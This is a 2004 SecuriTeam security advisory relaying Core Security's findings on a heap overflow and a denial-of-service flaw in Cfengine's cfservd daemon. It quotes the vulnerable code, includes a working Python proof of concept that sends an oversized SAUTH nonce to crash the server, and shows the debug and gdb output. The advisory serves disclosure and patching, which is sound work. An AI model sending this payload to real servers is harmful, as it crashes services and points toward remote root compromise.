[UNIX] Cfengine RSA Authentication Heap Corruption

From: SecuriTeam (support_at_securiteam.com)
Date: 08/10/04

  • Next message: SecuriTeam: "[UNIX] CVSTrac filediff Command Execution"
    To: list@securiteam.com
    Date: 10 Aug 2004 17:18:14 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Cfengine RSA Authentication Heap Corruption
    ------------------------------------------------------------------------

    SUMMARY

    Cfengine, the configuration engine, is a very high level language for
    simplifying the task of administrating and configuring large numbers of
    workstations.

    Cfengine is an autonomous agent and a middle to high level policy language
    for building expert systems which administrate and configure large
    computer networks. Cfengine uses the idea of classes and a primitive
    intelligence to define and automate the configuration and maintenance of
    system state, for small to huge configurations. Cfengine is designed to be
    a part of a computer immune system, and can be thought of as a gaming
    agent. It is ideal for cluster management and has been adopted for use all
    over the world in small and huge organizations alike.

    Two vulnerabilities were found in cfservd, a daemon which acts as both a
    file server and a remote cfagent executor. This daemon authenticates
    requests from the network and processes them. If exploited, the first
    vulnerability allows an attacker to execute arbitrary code with those
    privileges of root. The second vulnerability allows an attacker to crash
    the server, denying service to further requests.

    Cfservd uses an IP based access control (AllowConnectionsFrom) which must
    be passed before the vulnerabilities can be exploited. The level of risk
    thus depends on how this access control is configured.

    DETAILS

    Vulnerable Systems:
     * Cfengine versions 2.0.0 to 2.1.7p1

    Immune Systems:
     * Cfengine version 2.1.8 or newer

    Solution/Vendor Information/Workaround:
    Mark Burgess, the author of Cfengine, would like to thank the Core
    Security team for their courteous and expert help in identifying and
    fixing the problem. Release 2.1.8 which fixes these vulnerabilities is
    available from <http://www.cfengine.org> http://www.cfengine.org.

    Technical Description - Exploit/Concept Code:
    A] Remote code execution vulnerability

    The AuthenticationDialogue() function is responsible for handling SAUTH
    commands and performing RSA authentication and key agreement. This is the
    vulnerable code:
    int AuthenticationDialogue(struct cfd_connection *conn,char *recvbuffer)

    { char in[CF_BUFSIZE],*out, *decrypted_nonce;
       BIGNUM *counter_challenge = NULL;
       unsigned char digest[EVP_MAX_MD_SIZE+1];
       unsigned int crypt_len, nonce_len = 0,len = 0, encrypted_len, keylen;
       char sauth[10], iscrypt ='n';
       unsigned long err;
       RSA *newkey;

    if (PRIVKEY == NULL || PUBKEY == NULL)
       {
       CfLog(cferror,"No public/private key pair exists, create one with
    cfkey\n","");
       return false;
       }
     
    /* proposition C1 */
    /* Opening string is a challenge from the client (some agent) */
     
    sscanf(recvbuffer,"%s %c %d %d",sauth,&iscrypt,&crypt_len,&nonce_len); [0]
     
    if ((strcmp(sauth,"SAUTH") != 0) || (nonce_len == 0) || (crypt_len == 0))
    [1]
       {
       CfLog(cfinform,"Protocol error in RSA authentation from IP
    %s\n",conn->hostname);
       return false;
       }

    Debug("Challenge encryption = %c, nonce = %d, buf =
    %d\n",iscrypt,nonce_len,crypt_len);

    #if defined HAVE_PTHREAD_H && (defined HAVE_LIBPTHREAD || defined
    BUILDTIN_GCC_THREAD)
       if (pthread_mutex_lock(&MUTEX_SYSCALL) != 0)
          {
          CfLog(cferror,"pthread_mutex_lock failed","lock");
          }
    #endif
     
    if ((decrypted_nonce = malloc(crypt_len)) == NULL) [2]
       {
       FatalError("memory failure");
       }
     
    if (iscrypt == 'y')
       {
       if
    (RSA_private_decryptcrypt_len,recvbuffer+CF_RSA_PROTO_OFFSET,decrypted_nonce,PRIVKEY,
           RSA_PKCS1_PADDING) <= 0)
          {
          err = ERR_get_error();
          snprintf(conn->output,CF_BUFSIZE,"Private decrypt failed =
    %s\n",ERR_reason_error_string(err));
          CfLog(cferror,conn->output,"");
          free(decrypted_nonce);

    #if defined HAVE_PTHREAD_H && (defined HAVE_LIBPTHREAD || defined
    BUILDTIN_GCC_THREAD)
          if (pthread_mutex_unlock(&MUTEX_SYSCALL) != 0)
             {
             CfLog(cferror,"pthread_mutex_unlock failed","lock");
             }
    #endif
          return false;
          }
       }
     else
        {
        memcpy(decrypted_nonce,recvbuffer+CF_RSA_PROTO_OFFSET,nonce_len); [3]
    [...]

    Notes about this code extract:
    [0] iscrypt, crypt_len and nonce_len are retrieved from network received
    data using the sscanf() function.
    [1] crypt_len and nonce_len are checked for not being zero, this is the
    only check performed on the received integers.
    [2] A crypt_len sized decrypted_nonce buffer is allocated in the heap
    [3] If iscrypt different from 'y' was provided, nonce_len bytes are copied
    from the supplied buffer to the decrypted_nonce buffer.

    So, it is possible to write an almost arbitrary amount of arbitrary bytes
    after the end of a heap allocated buffer. Exploitation of this
    vulnerability is made easier because:
    a) The attacker controls the size of the buffer to be overflowed in [2]
    b) The attacker is able to overflow the buffer with the desired amount of
    bytes
    c) The bytes the attacker uses to overflow the buffer are not limited in
    any way.

    The following proof of concept code reproduces the bug in a cfengine
    2.1.7p1 default configuration:
    import struct
    import socket
    import time

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('192.168.1.1',5308)

                                                   # CAUTH command
    p = 'k' # status
    p += '0000023' # len
    p += 'CAUTH ' # command
    p += 'HARE KRISHNA HARE'
    print 'sending CAUTH command...'
    s.send(p)
                                                  # SAUTH command
    p = 'k' # status
    p += '0003000' # len
    p += 'SAUTH ' # command
    p += 'n' # iscrypt
    p += '00000010 ' # crypt_len
    p += '00001000' # nonce_len
    p += 'X' * 3000
    print 'sending SAUTH command...'
    s.send(p)

    a = s.recv(4096)
    print a

    This is the debug output from cfservd being exploited:
    [root@localhost sbin]# ./cfservd -vvv -d2
    cfservd: Debug mode: running in foreground
    AddClassToHeap(any)
    AddClassToHeap(cfengine_2_1_7p1)
    Appending [cfengine_2_1_7p1]
    AddClassToHeap(cfengine_2_1)
    Appending [cfengine_2_1]
    AddClassToHeap(cfengine_2)
    Appending [cfengine_2]
    This appears to be a redhat system.
    AddClassToHeap(redhat)
    Appending [redhat]
    Looking for redhat linux info in "Red Hat Linux release 9 (Shrike)"
    AddClassToHeap(redhat)
    AddClassToHeap(redhat_9)
    Appending [redhat_9]
    GetNameInfo()
    AddClassToHeap(linux)
    Appending [linux]
    AddClassToHeap(localhost_localdomain)
    Appending [localhost_localdomain]
    AddClassToHeap(localhost_localdomain)
    AddClassToHeap(localdomain)
    Appending [localdomain]
    Truncating fully qualified hostname localhost.localdomain to localhost
    AddClassToHeap(localhost)
    Appending [localhost]
    GNU Cfengine server daemon - 2.1.7p1
    Free Software Foundation 1994-
    Donated by Mark Burgess, Faculty of Engineering,
    Oslo University College, 0254 Oslo, Norway

    ----------------------------------------------------------------------

    Host name is: localhost.localdomain
    Operating System Type is linux
    Operating System Release is 2.4.20-8smp
    Architecture = i686

    Using internal soft-class linux for host linux

    The time is now Wed Jul 21 17:19:38 2004

    ----------------------------------------------------------------------

    AddClassToHeap(32_bit)
    Appending [32_bit]
    Additional hard class defined as: 32_bit
    AddClassToHeap(linux_2_4_20_8smp)
    Appending [linux_2_4_20_8smp]
    AddClassToHeap(i686)
    Appending [i686]
    Additional hard class defined as: linux_2_4_20_8smp
    AddClassToHeap(linux_i686)
    Appending [linux_i686]
    Additional hard class defined as: linux_i686
    AddClassToHeap(linux_i686_2_4_20_8smp)
    Appending [linux_i686_2_4_20_8smp]
    Additional hard class defined as: linux_i686_2_4_20_8smp
    AddClassToHeap(linux_i686_2_4_20_8smp__1_SMP_Thu_Mar_13_17_45_54_EST_2003)
    Appending [linux_i686_2_4_20_8smp__1_SMP_Thu_Mar_13_17_45_54_EST_2003]
    Additional hard class defined as:
    linux_i686_2_4_20_8smp__1_SMP_Thu_Mar_13_17_45_54_EST_2003
    AddClassToHeap(compiled_on_linux_gnu)
    Appending [compiled_on_linux_gnu]

    GNU autoconf class from compile time: compiled_on_linux_gnu

    GetInterfaceInfo()
    Interface 1: lo
    AddClassToHeap(net_iface_lo)
    Appending [net_iface_lo]
    Interface 2: eth0
    AddClassToHeap(net_iface_eth0)
    Appending [net_iface_eth0]
    Host information for 192.168.1.1 not found
    Trying to locate my IPv6 address
    cfpopen(/sbin/ifconfig -a)
    Directory for /var/cfengine/test exists. Okay
    CheckWorkDirectories()
    Directory for /var/cfengine/test exists. Okay
    Directory for /var/cfengine/state/test exists. Okay
    Checking integrity of the state database
    Checking integrity of the module directory
    Checking integrity of the input data for RPC
    Checking integrity of the output data for RPC
    Checking integrity of the PKI directory
    Making sure that locks are private...
    RandomSeed() work directory is /var/cfengine
    Looking for a source of entropy in /var/cfengine/randseed
    Loaded /var/cfengine/ppkeys/localhost.priv
    Loaded /var/cfengine/ppkeys/localhost.pub
    New Parser Object::(BEGIN PARSING /var/cfengine/inputs/cfservd.conf)
    Looking for an input file /var/cfengine/inputs/cfservd.conf
    (No file /var/cfengine/inputs/cfservd.conf)
    (END OF PARSING /var/cfengine/inputs/cfservd.conf)
    Finished with /var/cfengine/inputs/cfservd.conf
    Delete Parser Object::cfservd: cfservd Multithreaded version
    GetMacroValue(server,CheckIdent)
    GetMacroValue(server,DenyBadClocks)
    GetMacroValue(server,LogAllConnections)
    GetMacroValue(server,ChecksumDatabase)
    GetMacroValue(server,cfrunCommand)
    GetMacroValue(server,MaxConnections)
    MaxConnections = 10
    GetMacroValue(server,ChecksumUpdates)
    GetMacroValue(server,BindToInterface)

    Defined Classes = ( any cfengine_2_1_7p1 cfengine_2_1 cfengine_2 redhat
    redhat_9 linux localhost_localdomain localdomain localhost 32_bit
    linux_2_4_20_8smp i686 linux_i686 linux_i686_2_4_20_8smp
    linux_i686_2_4_20_8smp__1_SMP_Thu_Mar_13_17_45_54_EST_2003
    compiled_on_linux_gnu net_iface_lo net_iface_eth0 )

    Negated Classes = ( )

    Installable classes = ( )
    ACCESS GRANTED ----------------------:

    ACCESS DENIAL ------------------------ :

    Host IPs allowed connection access :

    Host IPs denied connection access :

    Host IPs allowed multiple connection access :

    Host IPs from whom we shall accept public keys on trust :

    Host IPs from NAT which we don't verify :

    Dynamical Host IPs (e.g. DHCP) whose bindings could vary over time :

    IPV4 address
    sockaddr_ntop(0.0.0.0)
    Bound to address 0.0.0.0 on linux=6
    Listening for connections ...
    cfservd: Input file /var/cfengine/inputs/cfservd.conf missing or busy..
    cfservd: /var/cfengine/inputs/cfservd.conf: No such file or directory
    IPV4 address
    sockaddr_ntop(192.168.1.2)
    Obtained IP address of 192.168.1.2 on socket 5 from accept

    FuzzyItemIn(LIST,192.168.1.2)
    Purging Old Connections...
    Done purging

    FuzzyItemIn(LIST,192.168.1.2)
    Prepending [192.168.1.2]
    *** New socket [5]
    New connection...(from 192.168.1.2/5)
    Spawning new thread...
    RecvSocketStream(8)
           (Concatenated 8 from stream)
    Transaction Receive [k0000023][]
    RecvSocketStream(23)
           (Concatenated 23 from stream)
    Received: [CAUTH HARE KRISHNA HARE] on socket 5
    Connecting host identifies itself as HARE KRISHNA HARE
    (ipstring=[HARE],fqname=[KRISHNA],username=[HARE],socket=[192.168.1.2])
    cfservd: Allowing HARE to connect without (re)checking ID
    Non-verified Host ID is krishna (Using skipverify)
    Non-verified User ID seems to be HARE (Using skipverify)
    username wascfservd: Unable to lookup hostname (krishna) or cfengine
    service: Temporary failure in name resolution
    Updating last-seen time for krishna
    RecvSocketStream(8)
           (Concatenated 8 from stream)
    Transaction Receive [k0003000][]
    RecvSocketStream(3000)
           (Concatenated 3000 from stream)
    Received: [SAUTH n00000010
    00001000XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX...XXXXXXXX
    XXXXXXXXXXXXXXXXX] on socket 5
    Challenge encryption = n, nonce = 1000, buf = 10
    ChecksumString(m)
    RecvSocketStream(8)
           (Concatenated 8 from stream)
    Transaction Receive [XXXXXXXX][]
    RecvSocketStream(0)
    cfservd: Protocol error 2 in RSA authentation from IP ?s
    Segmentation fault
    [root@localhost sbin]#

    And this is gdb's output when making the server crash with the sample
    values:
    Continuing.
    [New Thread 1077705920 (LWP 15271)]

    Program received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 1077705920 (LWP 15271)]
    0x4207493f in malloc_consolidate () from /lib/tls/libc.so.6
    (gdb) bt
    #0 0x4207493f in malloc_consolidate () from /lib/tls/libc.so.6
    #1 0x42073f99 in _int_malloc () from /lib/tls/libc.so.6
    #2 0x4207335b in malloc () from /lib/tls/libc.so.6
    #3 0x42069667 in open_memstream () from /lib/tls/libc.so.6
    #4 0x420da38b in vsyslog () from /lib/tls/libc.so.6
    #5 0x420da2ef in syslog () from /lib/tls/libc.so.6
    #6 0x08076a9a in CfLog (level=cfinform, string=0x42131300 "",
            errstr=0x42131300 "") at log.c:151
    #7 0x0804e7d6 in AuthenticationDialogue (conn=0x8118d10,
            recvbuffer=0x403c677c "SAUTH n00000010 00001000", 'X' <repeats 176
    times>...) at cfservd.c:2153
    #8 0x0804ce7e in BusyWithConnection (conn=0x8118d10) at cfservd.c:1187
    #9 0x0804c5d1 in HandleConnection (conn=0x8118d10) at cfservd.c:1070
    #10 0x401c82b6 in start_thread () from /lib/tls/libpthread.so.0
    (gdb) x/i $pc
    0x4207493f <malloc_consolidate+159>: testb $0x1,0x4(%edx,%edi,1)
    (gdb) x/x $edx
    0x58585858: Cannot access memory at address 0x58585858
    (gdb) x/x $edi
    0x8118780: 0x58585858
    (gdb)

    B] Denial of service vulnerability

    The following code, also in AuthenticationDialogue(), is vulnerable to a
    remote denial of service attack:
    [...]
    /* proposition C5 */
    memset(in,0,CF_BUFSIZE);
    keylen = ReceiveTransaction(conn->sd_reply,in,NULL); [0]

     
    #if defined HAVE_PTHREAD_H && (defined HAVE_LIBPTHREAD || defined
    BUILDTIN_GCC_THREAD)
    if (pthread_mutex_lock(&MUTEX_SYSCALL) != 0)
       {
       CfLog(cferror,"pthread_mutex_lock failed","lock");
       }
    #endif
     
    conn->session_key = malloc(keylen); [1]

    #if defined HAVE_PTHREAD_H && (defined HAVE_LIBPTHREAD || defined
    BUILDTIN_GCC_THREAD)
    if (pthread_mutex_unlock(&MUTEX_SYSCALL) != 0)
       {
       CfLog(cferror,"pthread_mutex_unlock failed","lock");
       }
    #endif

     
    memcpy(conn->session_key,in,keylen); [2]
    Debug("Got a session key...\n");
    [...]

    The return value of ReceiveTransaction() is not checked [0]. Then, this
    value is used to call malloc() and the returned value is not checked
    either [1]. Finally, in [2] the pointer returned is used as memcpy's
    destination parameter.
    Usually, the return value of ReceiveTransaction() is an integer, which is
    checked not to be greater than a certain maximum size within Cfengine
    network/protocol handling code. However, it is possible to make the
    function return -1, faking a Cfengine version 1 protocol packet. This will
    make malloc(-1) return NULL, and memcpy(0,in,-1) will make the server
    crash.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:advisories@coresecurity.com>
    CORE Security Technologies Advisories.
    The original article can be found at:
    <http://www.coresecurity.com/common/showdoc.php?idx=387&idxseccion=10>
    http://www.coresecurity.com/common/showdoc.php?idx=387&idxseccion=10

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] CVSTrac filediff Command Execution"

    Relevant Pages